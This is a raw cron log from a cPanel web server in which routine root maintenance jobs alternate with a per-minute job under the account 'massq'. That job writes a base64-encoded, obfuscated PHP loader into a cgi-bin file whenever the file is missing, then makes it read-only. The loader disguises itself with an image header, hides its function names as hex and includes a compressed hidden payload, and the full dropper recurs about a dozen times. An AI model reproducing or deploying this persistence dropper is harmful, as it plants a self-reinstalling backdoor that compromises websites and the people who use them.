Sep  4 07:39:01 server CROND[27457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:40:01 server CROND[27842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:40:01 server CROND[27844]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:40:01 server CROND[27845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:40:01 server CROND[27848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:40:01 server CROND[27847]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:40:01 server CROND[27851]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:40:01 server CROND[27846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:40:01 server CROND[27849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:41:01 server CROND[28689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:41:01 server CROND[28690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:41:01 server CROND[28691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:42:01 server CROND[29053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:42:01 server CROND[29052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:42:01 server CROND[29055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:42:01 server CROND[29054]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 07:43:01 server CROND[29428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:43:01 server CROND[29429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:43:01 server CROND[29431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:44:01 server CROND[29808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:44:01 server CROND[29807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:44:01 server CROND[29809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:45:01 server CROND[30295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:45:01 server CROND[30297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:45:01 server CROND[30299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:45:01 server CROND[30298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:45:01 server CROND[30303]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:45:01 server CROND[30300]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:45:01 server CROND[30302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:46:01 server CROND[31136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:46:01 server CROND[31137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:46:01 server CROND[31138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:47:01 server CROND[31573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:47:01 server CROND[31575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:47:01 server CROND[31574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:48:01 server CROND[31963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:48:01 server CROND[31964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:48:01 server CROND[31965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:49:01 server CROND[32352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:49:01 server CROND[32354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:49:01 server CROND[32355]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:50:01 server CROND[386]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:50:01 server CROND[387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:50:01 server CROND[388]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:50:01 server CROND[395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:50:01 server CROND[396]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:50:01 server CROND[397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:50:01 server CROND[393]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 07:50:01 server CROND[394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:50:01 server CROND[399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
